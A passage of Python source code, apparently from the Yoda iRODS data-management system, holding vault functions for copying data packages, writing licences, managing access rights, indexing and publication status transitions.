set(list_data['formats'])\n\n # Get basenames of all data objects within this collection.\n data_names = itertools.imap(lambda x: pathutil.chop(x)[1],\n collection.data_objects(ctx, coll, recursive=True))\n\n # Exclude Yoda metadata files\n data_names = itertools.ifilter(lambda\n x: not re.match(r\"yoda\\-metadata(\\[\\d+\\])?\\.(xml|json)\", x),\n data_names)\n\n # Data names -> lowercase extensions, without the dot.\n exts = set(list(itertools.imap(lambda x: os.path.splitext(x)[1][1:].lower(), data_names)))\n exts -= set([''])\n\n # Return any ext that is not in the preservable list.\n return list(exts - preservable_formats)\n\n\ndef rule_vault_copy_original_metadata_to_vault(rule_args, callback, rei):\n \"\"\"Copy the original metadata JSON into the root of the package.\n\n :param rule_args: [0] Path of a new package in the vault\n :param callback: Callback to rule Language\n :param rei: The rei struct\n \"\"\"\n vault_package = rule_args[0]\n vault_copy_original_metadata_to_vault(callback, vault_package)\n\n\ndef vault_copy_original_metadata_to_vault(ctx, vault_package_path):\n \"\"\"Copy original metadata to the vault package root.\n\n :param ctx: Combined type of a callback and rei struct\n :param vault_package_path: Path of a package in the vault\n \"\"\"\n original_metadata = vault_package_path + \"/original/\" + constants.IIJSONMETADATA\n copied_metadata = vault_package_path + '/yoda-metadata[' + str(int(time.time())) + '].json'\n\n # Copy original metadata JSON.\n ctx.msiDataObjCopy(original_metadata, copied_metadata, 'destRescName={}++++verifyChksum='.format(config.resource_vault), 0)\n\n # msi.data_obj_copy(ctx, original_metadata, copied_metadata, 'verifyChksum=', irods_types.BytesBuf())\n\n\ndef rule_vault_write_license(rule_args, callback, rei):\n \"\"\"Write the license as a text file into the root of the vault package.\n\n :param rule_args: [0] Path of a package in the vault\n :param callback: Callback to rule Language\n :param rei: The rei struct\n \"\"\"\n\n vault_pkg_coll = rule_args[0]\n vault_write_license(callback, vault_pkg_coll)\n\n\ndef vault_write_license(ctx, vault_pkg_coll):\n \"\"\"Write the license as a text file into the root of the vault package.\n\n :param ctx: Combined type of a callback and rei struct\n :param vault_pkg_coll: Path of a package in the vault\n \"\"\"\n zone = user.zone(ctx)\n\n # Retrieve license.\n license = \"\"\n license_key = \"License\"\n license_unit = \"{}_%\".format(constants.UUUSERMETADATAROOT)\n\n iter = genquery.row_iterator(\n \"META_COLL_ATTR_VALUE\",\n \"COLL_NAME = '{}' AND META_COLL_ATTR_NAME = '{}' AND META_COLL_ATTR_UNITS LIKE '{}'\".format(vault_pkg_coll, license_key, license_unit),\n genquery.AS_LIST, ctx)\n\n for row in iter:\n license = row[0]\n\n if license == \"\":\n # No license set in user metadata.\n log.write(ctx, \"rule_vault_write_license: No license found in user metadata <{}>\".format(vault_pkg_coll))\n elif license == \"Custom\":\n # Custom license set in user metadata, no License.txt should exist in package.\n license_file = vault_pkg_coll + \"/License.txt\"\n if data_object.exists(ctx, license_file):\n data_object.remove(ctx, license_file, force=True)\n else:\n # License set in user metadata, a License.txt should exist in package.\n # Check if license text exists.\n license_txt = \"/{}{}/{}.txt\".format(zone, constants.IILICENSECOLLECTION, license)\n if data_object.exists(ctx, license_txt):\n # Copy license file.\n license_file = vault_pkg_coll + \"/License.txt\"\n ctx.msiDataObjCopy(license_txt, license_file, 'destRescName={}++++forceFlag=++++verifyChksum='.format(config.resource_vault), 0)\n\n # Fix ACLs.\n try:\n ctx.iiCopyACLsFromParent(license_file, 'default')\n except Exception:\n log.write(ctx, \"rule_vault_write_license: Failed to set vault permissions on <{}>\".format(license_file))\n else:\n log.write(ctx, \"rule_vault_write_license: License text not available for <{}>\".format(license))\n\n # Check if license URI exists.\n license_uri_file = \"/{}{}/{}.uri\".format(zone, constants.IILICENSECOLLECTION, license)\n if data_object.exists(ctx, license_uri_file):\n # Retrieve license URI.\n license_uri = data_object.read(ctx, license_uri_file)\n license_uri = license_uri.strip()\n license_uri = license_uri.strip('\\\"')\n\n # Set license URI.\n avu.set_on_coll(ctx, vault_pkg_coll, \"{}{}\".format(constants.UUORGMETADATAPREFIX, \"license_uri\"), license_uri)\n else:\n log.write(ctx, \"rule_vault_write_license: License URI not available for <{}>\".format(license))\n\n\n@rule.make(inputs=[0], outputs=[1])\ndef rule_vault_enable_indexing(ctx, coll):\n vault_enable_indexing(ctx, coll)\n return \"Success\"\n\n\ndef vault_enable_indexing(ctx, coll):\n if config.enable_open_search:\n if not collection.exists(ctx, coll + \"/index\"):\n # index collection does not exist yet\n path = meta.get_latest_vault_metadata_path(ctx, coll)\n ctx.msi_rmw_avu('-d', path, '%', '%', constants.UUFLATINDEX)\n meta.ingest_metadata_vault(ctx, path)\n\n # add indexing attribute and update opensearch\n subprocess.call([\"imeta\", \"add\", \"-C\", coll + \"/index\", \"irods::indexing::index\", \"yoda::metadata\", \"elasticsearch\"])\n\n\n@rule.make(inputs=[0], outputs=[1])\ndef rule_vault_disable_indexing(ctx, coll):\n vault_disable_indexing(ctx, coll)\n return \"Success\"\n\n\ndef vault_disable_indexing(ctx, coll):\n if config.enable_open_search:\n if collection.exists(ctx, coll + \"/index\"):\n coll = coll + \"/index\"\n\n # tricky: remove indexing attribute without updating opensearch\n try:\n msi.mod_avu_metadata(ctx, \"-C\", coll, \"rm\", \"irods::indexing::index\", \"yoda::metadata\", \"elasticsearch\")\n except Exception:\n pass\n\n\n@api.make()\ndef api_vault_system_metadata(ctx, coll):\n \"\"\"Return system metadata of a vault collection.\n\n :param ctx: Combined type of a callback and rei struct\n :param coll: Path to data package\n\n :returns: Dict system metadata of a vault collection\n \"\"\"\n system_metadata = {}\n\n # Package size.\n data_count = collection.data_count(ctx, coll)\n collection_count = collection.collection_count(ctx, coll)\n size = collection.size(ctx, coll)\n size_readable = misc.human_readable_size(size)\n system_metadata[\"Data Package Size\"] = \"{} files, {} folders, total of {}\".format(data_count, collection_count, size_readable)\n\n # Modified date.\n iter = genquery.row_iterator(\n \"META_COLL_ATTR_VALUE\",\n \"COLL_NAME = '%s' AND META_COLL_ATTR_NAME = 'org_publication_lastModifiedDateTime'\" % (coll),\n genquery.AS_LIST, ctx\n )\n\n for row in iter:\n # Python 3: https://docs.python.org/3/library/datetime.html#datetime.date.fromisoformat\n # modified_date = date.fromisoformat(row[0])\n modified_date = parser.parse(row[0])\n modified_date = modified_date.strftime('%Y-%m-%d %H:%M:%S%z')\n system_metadata[\"Modified date\"] = \"{}\".format(modified_date)\n\n # Landingpage URL.\n landinpage_url = \"\"\n iter = genquery.row_iterator(\n \"META_COLL_ATTR_VALUE\",\n \"COLL_NAME = '%s' AND META_COLL_ATTR_NAME = 'org_publication_landingPageUrl'\" % (coll),\n genquery.AS_LIST, ctx\n )\n\n for row in iter:\n landinpage_url = row[0]\n system_metadata[\"Landingpage\"] = \"<a href=\\\"{}\\\">{}</a>\".format(landinpage_url, landinpage_url)\n\n # Check for previous version.\n previous_version = get_previous_version(ctx, coll)\n if previous_version:\n previous_version_doi = get_doi(ctx, previous_version)\n system_metadata[\"Persistent Identifier DOI\"] = persistent_identifier_doi = \"previous version: <a href=\\\"https://doi.org/{}\\\">{}</a>\".format(previous_version_doi, previous_version_doi)\n\n # Persistent Identifier DOI.\n package_doi = get_doi(ctx, coll)\n\n if package_doi:\n if previous_version:\n persistent_identifier_doi = \"<a href=\\\"https://doi.org/{}\\\">{}</a> (previous version: <a href=\\\"https://doi.org/{}\\\">{}</a>)\".format(package_doi, package_doi, previous_version_doi, previous_version_doi)\n else:\n persistent_identifier_doi = \"<a href=\\\"https://doi.org/{}\\\">{}</a>\".format(package_doi, package_doi)\n system_metadata[\"Persistent Identifier DOI\"] = persistent_identifier_doi\n\n # Data Package Reference.\n data_package_reference = \"\"\n iter = genquery.row_iterator(\n \"META_COLL_ATTR_VALUE\",\n \"COLL_NAME = '{}' AND META_COLL_ATTR_NAME = '{}'\".format(coll, constants.DATA_PACKAGE_REFERENCE),\n genquery.AS_LIST, ctx\n )\n\n for row in iter:\n data_package_reference = row[0]\n system_metadata[\"Data Package Reference\"] = \"<a href=\\\"yoda/{}\\\">yoda/{}</a>\".format(data_package_reference, data_package_reference)\n\n # Persistent Identifier EPIC.\n package_epic_pid = \"\"\n iter = genquery.row_iterator(\n \"META_COLL_ATTR_VALUE\",\n \"COLL_NAME = '%s' AND META_COLL_ATTR_NAME = 'org_epic_pid'\" % (coll),\n genquery.AS_LIST, ctx\n )\n\n for row in iter:\n package_epic_pid = row[0]\n\n package_epic_url = \"\"\n iter = genquery.row_iterator(\n \"META_COLL_ATTR_VALUE\",\n \"COLL_NAME = '%s' AND META_COLL_ATTR_NAME = 'org_epic_url'\" % (coll),\n genquery.AS_LIST, ctx\n )\n\n for row in iter:\n package_epic_url = row[0]\n\n if package_epic_pid:\n if package_epic_url:\n persistent_identifier_epic = \"<a href=\\\"{}\\\">{}</a>\".format(package_epic_url, package_epic_pid)\n else:\n persistent_identifier_epic = \"{}\".format(package_epic_pid)\n system_metadata[\"EPIC Persistent Identifier\"] = persistent_identifier_epic\n\n return system_metadata\n\n\ndef get_coll_vault_status(ctx, path, org_metadata=None):\n \"\"\"Get the status of a vault folder.\"\"\"\n if org_metadata is None:\n org_metadata = folder.get_org_metadata(ctx, path)\n\n # Don't care about duplicate attr names here.\n org_metadata = dict(org_metadata)\n if constants.IIVAULTSTATUSATTRNAME in org_metadata:\n x = org_metadata[constants.IIVAULTSTATUSATTRNAME]\n try:\n return constants.vault_package_state(x)\n except Exception:\n log.write(ctx, 'Invalid vault folder status <{}>'.format(x))\n\n return constants.vault_package_state.EMPTY\n\n\n@api.make()\ndef api_vault_collection_details(ctx, path):\n \"\"\"Return details of a vault collection.\n\n :param ctx: Combined type of a callback and rei struct\n :param path: Path to data package\n\n :returns: Dict with collection details\n \"\"\"\n if not collection.exists(ctx, path):\n return api.Error('nonexistent', 'The given path does not exist')\n\n # Check if collection is a research group.\n space, _, group, _ = pathutil.info(path)\n if space != pathutil.Space.VAULT:\n return {}\n\n basename = pathutil.basename(path)\n\n # Check if collection is vault package.\n metadata_path = meta.get_latest_vault_metadata_path(ctx, path)\n if metadata_path is None:\n return {}\n else:\n metadata = True\n\n # Retrieve vault folder status.\n status = get_coll_vault_status(ctx, path).value\n\n # Check if collection has datamanager.\n has_datamanager = True\n\n # Check if user is datamanager.\n category = groups.group_category(ctx, group)\n is_datamanager = groups.user_is_datamanager(ctx, category, user.full_name(ctx))\n\n # Check if a vault action is pending.\n vault_action_pending = False\n coll_id = collection.id_from_name(ctx, path)\n\n action_status = constants.UUORGMETADATAPREFIX + '\"vault_status_action_' + coll_id\n iter = genquery.row_iterator(\n \"COLL_ID\",\n \"META_COLL_ATTR_NAME = '\" + action_status + \"' AND META_COLL_ATTR_VALUE = 'PENDING'\",\n genquery.AS_LIST, ctx\n )\n for _row in iter:\n vault_action_pending = True\n\n # Check if research group has access.\n research_group_access = False\n\n # Retrieve all access user IDs on collection.\n iter = genquery.row_iterator(\n \"COLL_ACCESS_USER_ID\",\n \"COLL_NAME = '{}'\".format(path),\n genquery.AS_LIST, ctx\n )\n\n for row in iter:\n user_id = row[0]\n\n # Retrieve all group names with this ID.\n iter2 = genquery.row_iterator(\n \"USER_NAME\",\n \"USER_ID = '{}'\".format(user_id),\n genquery.AS_LIST, ctx\n )\n\n for row2 in iter2:\n user_name = row2[0]\n\n # Check if group is a research or intake group.\n if user_name.startswith((\"research-\", \"deposit-\")):\n research_group_access = True\n\n result = {\n \"basename\": basename,\n \"status\": status,\n \"metadata\": metadata,\n \"has_datamanager\": has_datamanager,\n \"is_datamanager\": is_datamanager,\n \"vault_action_pending\": vault_action_pending,\n \"research_group_access\": research_group_access\n }\n if config.enable_data_package_archive:\n import vault_archive\n result[\"archive\"] = {\n \"archivable\": vault_archive.vault_archivable(ctx, path),\n \"status\": vault_archive.vault_archival_status(ctx, path)\n }\n if config.enable_data_package_download:\n import vault_download\n result[\"downloadable\"] = vault_download.vault_downloadable(ctx, path)\n return result\n\n\n@api.make()\ndef api_vault_get_package_by_reference(ctx, reference):\n \"\"\"Return path to data package with provided reference (UUID4).\n\n :param ctx: Combined type of a callback and rei struct\n :param reference: Data Package Reference (UUID4)\n\n :returns: Path to data package\n \"\"\"\n data_package = \"\"\n iter = genquery.row_iterator(\n \"COLL_NAME\",\n \"META_COLL_ATTR_NAME = '{}' and META_COLL_ATTR_VALUE = '{}'\".format(constants.DATA_PACKAGE_REFERENCE, reference),\n genquery.AS_LIST, ctx)\n\n for row in iter:\n data_package = row[0]\n\n if data_package == \"\":\n return api.Error('not_found', 'Could not find data package with provided reference.')\n\n _, _, path, subpath = pathutil.info(data_package)\n return \"/{}/{}\".format(path, subpath)\n\n\n@api.make()\ndef api_vault_get_landingpage_data(ctx, coll):\n \"\"\"Retrieve landingpage data of data package.\n\n Landinpage data consists of metadata and system metadata.\n\n :param ctx: Combined type of a callback and rei struct\n :param coll: Collection to retrieve landingpage data from\n\n :returns: API status\n \"\"\"\n meta_path = meta.get_latest_vault_metadata_path(ctx, coll)\n\n # Try to load the metadata file.\n try:\n metadata = jsonutil.read(ctx, meta_path)\n current_schema_id = meta.metadata_get_schema_id(metadata)\n if current_schema_id is None:\n return api.Error('no_schema_id', 'Please check the structure of this file.',\n 'schema id missing')\n except jsonutil.ParseError:\n return api.Error('bad_json', 'Please check the structure of this file.', 'JSON invalid')\n except msi.Error as e:\n return api.Error('internal', 'The metadata file could not be read.', e)\n\n # Get deposit date and end preservation date based upon retention period\n # \"submitted for vault\"\n # deposit_date = '2016-02-29' # To be gotten from the action log\n iter = genquery.row_iterator(\n \"order_desc(META_COLL_MODIFY_TIME), META_COLL_ATTR_VALUE\",\n \"COLL_NAME = '\" + coll + \"' AND META_COLL_ATTR_NAME = '\" + constants.UUORGMETADATAPREFIX + 'action_log' + \"'\",\n genquery.AS_LIST, ctx\n )\n for row in iter:\n # row contains json encoded [str(int(time.time())), action, actor]\n log_item_list = jsonutil.parse(row[1])\n if log_item_list[1] == \"submitted for vault\":\n deposit_timestamp = datetime.fromtimestamp(int(log_item_list[0]))\n deposit_date = deposit_timestamp.strftime('%Y-%m-%d')\n break\n\n return {'metadata': metadata, 'deposit_date': deposit_date}\n\n\n@api.make()\ndef api_vault_get_publication_terms(ctx):\n \"\"\"Retrieve the publication terms.\"\"\"\n zone = user.zone(ctx)\n terms_collection = \"/{}{}\".format(zone, constants.IITERMSCOLLECTION)\n terms = \"\"\n\n iter = genquery.row_iterator(\n \"DATA_NAME, order_asc(DATA_MODIFY_TIME)\",\n \"COLL_NAME = '{}'\".format(terms_collection),\n genquery.AS_LIST, ctx)\n\n for row in iter:\n terms = row[0]\n\n if terms == \"\":\n return api.Error('TermsNotFound', 'No Terms and Agreements found.')\n\n try:\n terms_file = \"/{}{}/{}\".format(zone, constants.IITERMSCOLLECTION, terms)\n return data_object.read(ctx, terms_file)\n except Exception:\n return api.Error('TermsReadFailed', 'Could not open Terms and Agreements.')\n\n\n@api.make()\ndef api_grant_read_access_research_group(ctx, coll):\n \"\"\"Grant read rights of research group for datapackage in vault.\n\n :param ctx: Combined type of a callback and rei struct\n :param coll: Collection of data package to remove read rights from\n\n :returns: API status\n \"\"\"\n if not collection.exists(ctx, coll):\n return api.Error('nonexistent', 'The given path does not exist')\n\n coll_parts = coll.split('/')\n if len(coll_parts) != 5:\n return api.Error('invalid_collection', 'The datamanager can only revoke permissions to vault packages')\n\n space, zone, group, subpath = pathutil.info(coll)\n if space != pathutil.Space.VAULT:\n return api.Error('invalid_collection', 'The datamanager can only revoke permissions to vault packages')\n\n # Find category\n group_parts = group.split('-')\n if subpath.startswith(\"deposit-\"):\n research_group_name = 'deposit-' + '-'.join(group_parts[1:])\n else:\n research_group_name = 'research-' + '-'.join(group_parts[1:])\n category = groups.group_category(ctx, group)\n\n # Is datamanager?\n actor = user.full_name(ctx)\n if groups.user_role(ctx, 'datamanager-' + category, actor) in ['normal', 'manager']:\n # Grant research group read access to vault package.\n try:\n acl_kv = msi.kvpair(ctx, \"actor\", actor)\n msi.sudo_obj_acl_set(ctx, \"recursive\", \"read\", research_group_name, coll, acl_kv)\n except Exception:\n policy_error = policies_datamanager.can_datamanager_acl_set(ctx, coll, actor, research_group_name, \"1\", \"read\")\n if bool(policy_error):\n return api.Error('ErrorACLs', 'Could not acquire datamanager access to {}.'.format(coll))\n else:\n return api.Error('ErrorACLs', str(policy_error))\n else:\n return api.Error('NoDatamanager', 'Actor must be a datamanager for granting access')\n\n return {'status': 'Success', 'statusInfo': ''}\n\n\n@api.make()\ndef api_revoke_read_access_research_group(ctx, coll):\n \"\"\"Revoke read rights of research group for datapackage in vault.\n\n :param ctx: Combined type of a callback and rei struct\n :param coll: Collection of data package to remove read rights from\n\n :returns: API status\n \"\"\"\n if not collection.exists(ctx, coll):\n return api.Error('nonexistent', 'The given path does not exist')\n\n coll_parts = coll.split('/')\n if len(coll_parts) != 5:\n return api.Error('invalid_collection', 'The datamanager can only revoke permissions to vault packages')\n\n space, zone, group, subpath = pathutil.info(coll)\n if space != pathutil.Space.VAULT:\n return api.Error('invalid_collection', 'The datamanager can only revoke permissions to vault packages')\n\n # Find category\n group_parts = group.split('-')\n if subpath.startswith(\"deposit-\"):\n research_group_name = 'deposit-' + '-'.join(group_parts[1:])\n else:\n research_group_name = 'research-' + '-'.join(group_parts[1:])\n category = groups.group_category(ctx, group)\n\n # Is datamanager?\n actor = user.full_name(ctx)\n if groups.user_role(ctx, 'datamanager-' + category, actor) in ['normal', 'manager']:\n # Grant research group read access to vault package.\n try:\n acl_kv = msi.kvpair(ctx, \"actor\", actor)\n msi.sudo_obj_acl_set(ctx, \"recursive\", \"null\", research_group_name, coll, acl_kv)\n except Exception:\n policy_error = policies_datamanager.can_datamanager_acl_set(ctx, coll, actor, research_group_name, \"1\", \"read\")\n if bool(policy_error):\n return api.Error('ErrorACLs', 'Could not acquire datamanager access to {}.'.format(coll))\n else:\n return api.Error('ErrorACLs', str(policy_error))\n else:\n return api.Error('NoDatamanager', 'Actor must be a datamanager for revoking access')\n\n return {'status': 'Success', 'statusInfo': ''}\n\n\ndef copy_folder_to_vault(ctx, folder, target):\n \"\"\"Copy folder and all its contents to target in vault.\n\n The data will reside onder folder '/original' within the vault.\n\n :param ctx: Combined type of a callback and rei struct\n :param folder: Path of a folder in the research space\n :param target: Path of a package in the vault space\n\n :raises Exception: Raises exception when treewalk_and_ingest did not finish correctly\n \"\"\"\n destination = target + '/original'\n origin = folder\n\n # Origin is a never changing value to be able to designate a relative path within ingest_object\n error = 0 # Initial error state. Should stay 0.\n if treewalk_and_ingest(ctx, folder, destination, origin, error):\n raise Exception('copy_folder_to_vault: Error copying folder to vault')\n\n\ndef treewalk_and_ingest(ctx, folder, target, origin, error):\n \"\"\"Treewalk folder and ingest.\n\n :param ctx: Combined type of a callback and rei struct\n :param folder: Will change every time as it represents every folder that has to be copied to vault\n :param target: Target of ingest\n :param origin: Origin of treewalk\n :param error: 0/1 indicating if treewalk or ingest failed\n\n :returns: Error status (which should remain 0 for further processing in iterative manner)\n \"\"\"\n parent_coll, coll = pathutil.chop(folder)\n\n # 1. Process this collection itself as a collection.\n # INGEST\n if error == 0:\n # INGEST COLLECTION\n error = ingest_object(ctx, parent_coll, coll, True, target, origin)\n\n # 2. Process dataobjects located directly within the collection\n if error == 0:\n iter = genquery.row_iterator(\n \"DATA_NAME\",\n \"COLL_NAME = '\" + folder + \"'\",\n genquery.AS_LIST, ctx\n )\n for row in iter:\n # INGEST OBJECT\n error = ingest_object(ctx, folder, row[0], False, target, origin)\n if error:\n break\n\n if error == 0:\n # 3. Process the subfolders\n # Loop through subfolders which have folder as parent folder\n iter = genquery.row_iterator(\n \"COLL_NAME\",\n \"COLL_PARENT_NAME = '\" + folder + \"'\",\n genquery.AS_LIST, ctx\n )\n for row in iter:\n error = treewalk_and_ingest(ctx, row[0], target, origin, error)\n if error:\n break\n\n return error\n\n\ndef ingest_object(ctx, parent, item, item_is_collection, destination, origin):\n source_path = parent + \"/\" + item\n read_access = msi.check_access(ctx, source_path, 'read object', irods_types.BytesBuf())['arguments'][2]\n\n if read_access != b'\\x01':\n try:\n msi.set_acl(ctx, \"default\", \"admin:read\", user.full_name(ctx), source_path)\n except msi.Error:\n return 1\n\n dest_path = destination\n\n if source_path != origin:\n markIncomplete = False\n # rewrite path to copy objects that are located underneath the toplevel collection\n source_length = len(source_path)\n relative_path = source_path[len(origin) + 1: source_length]\n dest_path = destination + '/' + relative_path\n else:\n markIncomplete = True\n\n if item_is_collection:\n # CREATE COLLECTION\n try:\n msi.coll_create(ctx, dest_path, '', irods_types.BytesBuf())\n except msi.Error:\n return 1\n\n if markIncomplete:\n avu.set_on_coll(ctx, dest_path, constants.IIVAULTSTATUSATTRNAME, constants.vault_package_state.INCOMPLETE)\n else:\n # CREATE COPY OF DATA OBJECT\n try:\n # msi.data_obj_copy(ctx, source_path, dest_path, '', irods_types.BytesBuf())\n ctx.msiDataObjCopy(source_path, dest_path, 'verifyChksum=', 0)\n except msi.Error:\n return 1\n\n if read_access != b'\\x01':\n try:\n msi.set_acl(ctx, \"default\", \"admin:null\", user.full_name(ctx), source_path)\n except msi.Error:\n return 1\n\n return 0\n\n\ndef set_vault_permissions(ctx, group_name, folder, target):\n \"\"\"Set permissions in the vault as such that data can be copied to the vault.\"\"\"\n parts = group_name.split('-')\n base_name = '-'.join(parts[1:])\n\n parts = folder.split('/')\n vault_group_name = constants.IIVAULTPREFIX + base_name\n\n # Check if noinherit is set\n zone = user.zone(ctx)\n vault_path = \"/\" + zone + \"/home/\" + vault_group_name\n\n inherit = \"0\"\n iter = genquery.row_iterator(\n \"COLL_INHERITANCE\",\n \"COLL_NAME = '\" + vault_path + \"'\",\n genquery.AS_LIST, ctx\n )\n for row in iter:\n # COLL_INHERITANCE can be empty which is interpreted as noinherit\n inherit = row[0]\n\n if inherit == \"1\":\n msi.set_acl(ctx, \"recursive\", \"admin:noinherit\", \"\", vault_path)\n\n # Check if research group has read-only access\n iter = genquery.row_iterator(\n \"USER_ID\",\n \"USER_NAME = '\" + group_name + \"'\",\n genquery.AS_LIST, ctx\n )\n for row in iter:\n group_id = row[0]\n\n access_name = \"null\"\n iter = genquery.row_iterator(\n \"COLL_ACCESS_NAME\",\n \"COLL_ACCESS_USER_ID = '\" + group_id + \"'\",\n genquery.AS_LIST, ctx\n )\n for row in iter:\n access_name = row[0]\n\n if access_name != \"read object\":\n # Grant the research group read-only access to the collection to enable browsing through the vault.\n try:\n msi.set_acl(ctx, \"default\", \"admin:read\", group_name, vault_path)\n log.write(ctx, \"Granted \" + group_name + \" read access to \" + vault_path)\n except msi.Error:\n log.write(ctx, \"Failed to grant \" + group_name + \" read access to \" + vault_path)\n\n # Check if vault group has ownership\n iter = genquery.row_iterator(\n \"USER_ID\",\n \"USER_NAME = '\" + vault_group_name + \"'\",\n genquery.AS_LIST, ctx\n )\n for row in iter:\n vault_group_id = row[0]\n\n vault_group_access_name = \"null\"\n iter = genquery.row_iterator(\n \"COLL_ACCESS_NAME\",\n \"COLL_ACCESS_USER_ID = '\" + vault_group_id + \"'\",\n genquery.AS_LIST, ctx\n )\n for row in iter:\n vault_group_access_name = row[0]\n\n # Ensure vault-groupName has ownership on vault package\n if vault_group_access_name != \"own\":\n msi.set_acl(ctx, \"recursive\", \"admin:own\", vault_group_name, target)\n\n # Grant datamanager group read access to vault package.\n category = group.get_category(ctx, group_name)\n datamanager_group_name = \"datamanager-\" + category\n\n if group.exists(ctx, datamanager_group_name):\n msi.set_acl(ctx, \"recursive\", \"admin:read\", datamanager_group_name, target)\n\n # Grant research group read access to vault package.\n msi.set_acl(ctx, \"recursive\", \"admin:read\", group_name, target)\n\n\n@rule.make(inputs=range(4), outputs=range(4, 6))\ndef rule_vault_process_status_transitions(ctx, coll, new_coll_status, actor, previous_version):\n \"\"\"Rule interface for processing vault status transition request.\n\n :param ctx: Combined type of a callback and rei struct\n :param coll: Vault collection to change status for\n :param new_coll_status: New vault package status\n :param actor: Actor of the status change\n :param previous_version: Path to previous version of data package in the vault\n\n :return: Dict with status and statusinfo.\n \"\"\"\n vault_process_status_transitions(ctx, coll, new_coll_status, actor, previous_version)\n\n return 'Success'\n\n\ndef vault_process_status_transitions(ctx, coll, new_coll_status, actor, previous_version):\n \"\"\"Processing vault status transition request.\n\n :param ctx: Combined type of a callback and rei struct\n :param coll: Vault collection to change status for\n :param new_coll_status: New vault package status\n :param actor: Actor of the status change\n :param previous_version: Path to previous version of data package in the vault\n\n :return: Dict with status and statusinfo\n \"\"\"\n # check permissions - rodsadmin only\n if user.user_type(ctx) != 'rodsadmin':\n log.write(ctx, \"User is no rodsadmin\")\n return ['1', 'Insufficient permissions - should only be called by rodsadmin']\n\n # check current status, perhaps transitioned already\n current_coll_status = get_coll_vault_status(ctx, coll).value\n if current_coll_status == new_coll_status:\n return ['Success', '']\n\n # Set new status\n try:\n if previous_version:\n avu.set_on_coll(ctx, coll, \"org_publication_previous_version\", previous_version)\n\n avu.set_on_coll(ctx, coll, constants.IIVAULTSTATUSATTRNAME, new_coll_status)\n return ['Success', '']\n except msi.Error:\n current_coll_status = get_coll_vault_status(ctx, coll).value\n is_legal = policies_datapackage_status.can_transition_datapackage_status(ctx, actor, coll, current_coll_status, new_coll_status)\n if not is_legal:\n return ['1', 'Illegal status transition']\n else:\n if new_coll_status == str(constants.vault_package_state.PUBLISHED):\n # Special case is transition to PUBLISHED\n # landing page and doi have to be present\n\n # Landingpage URL.\n iter = genquery.row_iterator(\n \"META_COLL_ATTR_VALUE\",\n \"COLL_NAME = '%s' AND META_COLL_ATTR_NAME = 'org_publication_landingPageUrl'\" % (coll),\n genquery.AS_LIST, callback\n )\n\n for row in iter:\n if row[0] == \"\":\n return ['1', 'Landing page is missing']\n\n # Persistent Identifier DOI.\n iter = genquery.row_iterator(\n \"META_COLL_ATTR_VALUE\",\n \"COLL_NAME = '%s' AND META_COLL_ATTR_NAME = 'org_publication_versionDOI'\" % (coll),\n genquery.AS_LIST, callback\n )\n\n for row in iter:\n if row[0] == \"\":\n return ['1', 'DOI is missing']\n\n return ['Success', '']\n\n\ndef vault_request_status_transitions(ctx, coll, new_vault_status, previous_version=None):\n \"\"\"Request vault status transition action.\n\n :param ctx: Combined type of a callback and rei struct\n :param coll: Vault package to be changed of status in publication cycle\n :param new_vault_status: New vault status\n :param previous_version: Path to previous version of data package in the vault\n\n :return: Dict with status and statusinfo\n \"\"\"\n # check permissions - rodsadmin only\n if user.user_type(ctx) != 'rodsadmin':\n if new_vault_status == constants.vault_package_state.PUBLISHED:\n log.write(ctx, \"Publication request - User is no rodsadmin\")\n return ['PermissionDenied', 'Insufficient permissions - Vault status transition to published can only be requested by a rodsadmin.']\n elif new_vault_status == constants.vault_package_state.DEPUBLISHED:\n log.write(ctx, \"depublication request - User is no rodsadmin\")\n return ['PermissionDenied', 'Insufficient permissions - Vault status transition to published can only be requested by a rodsadmin.']\n\n zone = user.zone(ctx)\n coll_parts = coll.split('/')\n vault_group_name = coll_parts[3]\n\n # Find actor and actor group.\n actor = user.full_name(ctx)\n actor_group = folder.collection_group_name(ctx, coll)\n if actor_group == '':\n log.write(ctx, \"Cannot determine which research group \" + coll + \" belongs to\")\n return ['1', '']\n actor_group_path = '/' + zone + '/home/'\n\n # Check if user is datamanager.\n category = groups.group_category(ctx, vault_group_name)\n is_datamanager = groups.user_is_datamanager(ctx, category, user.full_name(ctx))\n\n # Status SUBMITTED_FOR_PUBLICATION can only be requested by researcher.\n # Status UNPUBLISHED can be called by researcher and datamanager.\n if not is_datamanager:\n if new_vault_status in [constants.vault_package_state.SUBMITTED_FOR_PUBLICATION, constants.vault_package_state.UNPUBLISHED]:\n actor_group_path = '/' + zone + '/home/' + actor_group\n else:\n actor_group_path = '/' + zone + '/home/datamanager-' + category\n\n # Retrieve collection id.\n coll_id = collection.id_from_name(ctx, coll)\n\n # Check if vault package is currently pending for status transition.\n # Except for status transition to PUBLISHED/DEPUBLISHED,\n # because it is requested by the system before previous pending\n # transition is removed.\n if new_vault_status != constants.vault_package_state.PUBLISHED and new_vault_status != constants.vault_package_state.DEPUBLISHED:\n action_status = constants.UUORGMETADATAPREFIX + '\"vault_status_action_' + coll_id\n iter = genquery.row_iterator(\n \"COLL_ID\",\n \"META_COLL_ATTR_NAME = '\" + action_status + \"' AND META_COLL_ATTR_VALUE = 'PENDING'\",\n genquery.AS_LIST, ctx\n )\n for _row in iter:\n # Don't accept request if a status transition is already pending.\n return ['PermissionDenied', \"Vault package is being processed, please wait until finished.\"]\n\n # Check if status transition is allowed.\n current_vault_status = get_coll_vault_status(ctx, coll).value\n\n is_legal = policies_datapackage_status.can_transition_datapackage_status(ctx, actor, coll, current_vault_status, new_vault_status)\n if not is_legal:\n return ['PermissionDenied', 'Illegal status transition']\n\n # Data package is new version of existing data package with a DOI.\n previous_version_path = \"\"\n doi = get_doi(ctx, previous_version)\n if previous_version and doi:\n previous_version_path = previous_version\n\n # Add vault action request to actor group.\n avu.set_on_coll(ctx, actor_group_path, constants.UUORGMETADATAPREFIX + 'vault_action_' + coll_id, jsonutil.dump([coll, str(new_vault_status), actor, previous_version_path]))\n # opposite is: jsonutil.parse('[\"coll\",\"status\",\"actor\"]')[0] => coll\n\n # Add vault action status to actor group.\n avu.set_on_coll(ctx, actor_group_path, constants.UUORGMETADATAPREFIX + 'vault_status_action_' + coll_id, 'PENDING')\n\n return ['', '']\n\n\ndef set_submitter(ctx, path, actor):\n \"\"\"Set submitter of data package for publication.\"\"\"\n attribute = constants.UUORGMETADATAPREFIX + \"publication_submission_actor\"\n avu.set_on_coll(ctx, path, attribute, actor)\n\n\ndef get_submitter(ctx, path):\n \"\"\"Set submitter of data package for publication.\"\"\"\n attribute = constants.UUORGMETADATAPREFIX + \"publication_submission_actor\"\n 